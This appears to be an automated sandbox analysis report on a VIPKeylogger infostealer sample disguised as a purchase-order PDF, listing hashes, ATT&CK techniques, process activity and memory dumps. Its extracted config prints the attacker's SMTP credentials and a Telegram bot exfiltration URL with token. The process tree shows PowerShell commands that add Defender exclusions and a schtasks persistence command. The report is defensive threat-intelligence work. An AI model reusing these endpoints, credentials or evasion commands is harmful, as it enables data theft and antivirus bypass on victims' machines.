vipkeylogger | 7a397e211c3c81b259dead378527d37b4ddcb9c014f65ddfdb91152b2a8dffdf

Analysis

max time kernel
103s
max time network
112s
platform
windows10-2004_x64
resource
win10v2004-20250410-en
resource tags

arch:x64arch:x86image:win10v2004-20250410-enlocale:en-usos:windows10-2004-x64system
submitted
14/04/2025, 18:11

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General

Target

PO 8620801 .pdf.exe
Size

892KB
MD5

60d3c0ba8ba14dc2070d16baf18a1986
SHA1

244244ab1ebda098d7792eaea063cbad5fb16945
SHA256

77b6742a4beccef32d22a13aa555eb35537265ecc3662f845d48a86dc126c875
SHA512

d3304af1f4e3cc82fa4caa56e100f27efe1276a93697dc5a74ec6e540c3a9a44b1fde5c4ce7e798a1de1b89c88bd6c950f5b397becdf5aa6d476cb7b08263aa6
SSDEEP

12288:Uoi6cfy84PI96XOnna8NymofY/6ZPcnrVGh06v75VZbuOY78cXrzzfdWsYYT:Xi6cWwYsYmoYTrVyl7buOW3zlnf

Score

10^/10

vipkeylogger discovery execution keylogger stealer

Malware Config

Extracted

Family

vipkeylogger

Credentials

Protocol: smtp
Host:
mail.puyehuechile.cl
Port:
587
Username:
[email protected]
Password:
Daem2024.
Email To:
[email protected]

https://api.telegram.org/bot7734343353:AAEmQvfIoOWaFhz75a3JZ6hyXwpiKyq7nnY/sendMessage?chat_id=7049826127

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5140	powershell.exe
5400	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3630502724-2561614198-3854231964-1000\Control Panel\International\Geo\Nation	PO 8620801 .pdf.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
14	checkip.dyndns.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2388 set thread context of 544	2388	PO 8620801 .pdf.exe	96

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
220	544	WerFault.exe	96

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PO 8620801 .pdf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PO 8620801 .pdf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
520	schtasks.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
5140	powershell.exe
5400	powershell.exe
5400	powershell.exe
5140	powershell.exe
544	PO 8620801 .pdf.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	5400	powershell.exe
Token: SeDebugPrivilege	5140	powershell.exe
Token: SeDebugPrivilege	544	PO 8620801 .pdf.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 2388 wrote to memory of 5140	2388	PO 8620801 .pdf.exe	90
PID 2388 wrote to memory of 5140	2388	PO 8620801 .pdf.exe	90
PID 2388 wrote to memory of 5140	2388	PO 8620801 .pdf.exe	90
PID 2388 wrote to memory of 5400	2388	PO 8620801 .pdf.exe	92
PID 2388 wrote to memory of 5400	2388	PO 8620801 .pdf.exe	92
PID 2388 wrote to memory of 5400	2388	PO 8620801 .pdf.exe	92
PID 2388 wrote to memory of 520	2388	PO 8620801 .pdf.exe	94
PID 2388 wrote to memory of 520	2388	PO 8620801 .pdf.exe	94
PID 2388 wrote to memory of 520	2388	PO 8620801 .pdf.exe	94
PID 2388 wrote to memory of 544	2388	PO 8620801 .pdf.exe	96
PID 2388 wrote to memory of 544	2388	PO 8620801 .pdf.exe	96
PID 2388 wrote to memory of 544	2388	PO 8620801 .pdf.exe	96
PID 2388 wrote to memory of 544	2388	PO 8620801 .pdf.exe	96
PID 2388 wrote to memory of 544	2388	PO 8620801 .pdf.exe	96
PID 2388 wrote to memory of 544	2388	PO 8620801 .pdf.exe	96
PID 2388 wrote to memory of 544	2388	PO 8620801 .pdf.exe	96
PID 2388 wrote to memory of 544	2388	PO 8620801 .pdf.exe	96

C:\Users\Admin\AppData\Local\Temp\PO 8620801 .pdf.exe
"C:\Users\Admin\AppData\Local\Temp\PO 8620801 .pdf.exe"
1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2388
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\PO 8620801 .pdf.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5140
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\VkAtJFoAQ.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5400
- C:\Windows\SysWOW64\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VkAtJFoAQ" /XML "C:\Users\Admin\AppData\Local\Temp\tmpC18B.tmp"
  2⤵
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:520
- C:\Users\Admin\AppData\Local\Temp\PO 8620801 .pdf.exe
  "C:\Users\Admin\AppData\Local\Temp\PO 8620801 .pdf.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:544
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 544 -s 1484
    3⤵
    - Program crash
    PID:220

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 544 -ip 544
1⤵
PID:1244

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
5b87eb40bba1cd03aa2535c955ed3440

SHA1
db200bc30d53cd6efc4c4abd446b0847304346e6

SHA256
06cb2b70841019107af243f4d9fe862cdb0cfcbe2ec6d085bf86a579049ee75d

SHA512
67360b0854bab0e3415a9040380fecfa5707f8ab15ffd14be4ea77b65a38175d68f1fe220942ea9c1636867a0e3f0a04df03ff380057767b614c744cc52df6aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1bsjh1ak.ko0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpC18B.tmp

Filesize
1KB

MD5
c073eb68554fe18bdf9e5e223ae9b6d7

SHA1
280b0fb7cff5688e9f4c6719a81484b4e213915a

SHA256
cdae9b81ba29030a1e554c902f12b7065611728f5e9fa3ebf969c51529e36c59

SHA512
9a4d343cf90430e262455a1b31f989d586aae3e8cc2ea37b19f0d19dd36c33c7ecf8850e1bd9c376d37cceb5e6fd342dead4779bf28bd26d2c3ab6de4cb10c89

Download Submit
memory/544-46-0x0000000000400000-0x000000000044A000-memory.dmp

Filesize
296KB

Download
memory/2388-9-0x0000000074E40000-0x00000000755F0000-memory.dmp

Filesize
7.7MB

Download
memory/2388-6-0x0000000005B40000-0x0000000005BDC000-memory.dmp

Filesize
624KB

Download
memory/2388-7-0x0000000005F80000-0x0000000005F94000-memory.dmp

Filesize
80KB

Download
memory/2388-8-0x0000000074E4E000-0x0000000074E4F000-memory.dmp

Filesize
4KB

Download
memory/2388-50-0x0000000074E40000-0x00000000755F0000-memory.dmp

Filesize
7.7MB

Download
memory/2388-10-0x0000000006E20000-0x0000000006EAE000-memory.dmp

Filesize
568KB

Download
memory/2388-1-0x0000000000EE0000-0x0000000000FC6000-memory.dmp

Filesize
920KB

Download
memory/2388-2-0x0000000005F90000-0x0000000006534000-memory.dmp

Filesize
5.6MB

Download
memory/2388-0-0x0000000074E4E000-0x0000000074E4F000-memory.dmp

Filesize
4KB

Download
memory/2388-5-0x0000000074E40000-0x00000000755F0000-memory.dmp

Filesize
7.7MB

Download
memory/2388-3-0x00000000059E0000-0x0000000005A72000-memory.dmp

Filesize
584KB

Download
memory/2388-4-0x00000000059C0000-0x00000000059CA000-memory.dmp

Filesize
40KB

Download
memory/5140-17-0x0000000004C10000-0x0000000005238000-memory.dmp

Filesize
6.2MB

Download
memory/5140-49-0x0000000005B90000-0x0000000005BDC000-memory.dmp

Filesize
304KB

Download
memory/5140-24-0x0000000005460000-0x00000000054C6000-memory.dmp

Filesize
408KB

Download
memory/5140-19-0x0000000074E40000-0x00000000755F0000-memory.dmp

Filesize
7.7MB

Download
memory/5140-22-0x00000000053F0000-0x0000000005456000-memory.dmp

Filesize
408KB

Download
memory/5140-18-0x0000000074E40000-0x00000000755F0000-memory.dmp

Filesize
7.7MB

Download
memory/5140-16-0x0000000074E40000-0x00000000755F0000-memory.dmp

Filesize
7.7MB

Download
memory/5140-85-0x0000000074E40000-0x00000000755F0000-memory.dmp

Filesize
7.7MB

Download
memory/5140-15-0x0000000002210000-0x0000000002246000-memory.dmp

Filesize
216KB

Download
memory/5140-48-0x0000000005A00000-0x0000000005A1E000-memory.dmp

Filesize
120KB

Download
memory/5140-78-0x0000000007020000-0x0000000007031000-memory.dmp

Filesize
68KB

Download
memory/5140-21-0x0000000004BA0000-0x0000000004BC2000-memory.dmp

Filesize
136KB

Download
memory/5140-51-0x0000000006AA0000-0x0000000006AD2000-memory.dmp

Filesize
200KB

Download
memory/5140-82-0x0000000007140000-0x0000000007148000-memory.dmp

Filesize
32KB

Download
memory/5140-53-0x00000000703B0000-0x00000000703FC000-memory.dmp

Filesize
304KB

Download
memory/5140-72-0x0000000006A60000-0x0000000006A7E000-memory.dmp

Filesize
120KB

Download
memory/5140-81-0x0000000007160000-0x000000000717A000-memory.dmp

Filesize
104KB

Download
memory/5140-80-0x0000000007060000-0x0000000007074000-memory.dmp

Filesize
80KB

Download
memory/5140-79-0x0000000007050000-0x000000000705E000-memory.dmp

Filesize
56KB

Download
memory/5140-76-0x0000000006E90000-0x0000000006E9A000-memory.dmp

Filesize
40KB

Download
memory/5140-77-0x00000000070A0000-0x0000000007136000-memory.dmp

Filesize
600KB

Download
memory/5400-30-0x0000000074E40000-0x00000000755F0000-memory.dmp

Filesize
7.7MB

Download
memory/5400-75-0x00000000072D0000-0x00000000072EA000-memory.dmp

Filesize
104KB

Download
memory/5400-74-0x0000000007920000-0x0000000007F9A000-memory.dmp

Filesize
6.5MB

Download
memory/5400-73-0x00000000071C0000-0x0000000007263000-memory.dmp

Filesize
652KB

Download
memory/5400-52-0x00000000703B0000-0x00000000703FC000-memory.dmp

Filesize
304KB

Download
memory/5400-45-0x0000000074E40000-0x00000000755F0000-memory.dmp

Filesize
7.7MB

Download
memory/5400-32-0x0000000005AD0000-0x0000000005E24000-memory.dmp

Filesize
3.3MB

Download
memory/5400-23-0x0000000074E40000-0x00000000755F0000-memory.dmp

Filesize
7.7MB

Download
memory/5400-89-0x0000000074E40000-0x00000000755F0000-memory.dmp

Filesize
7.7MB

Download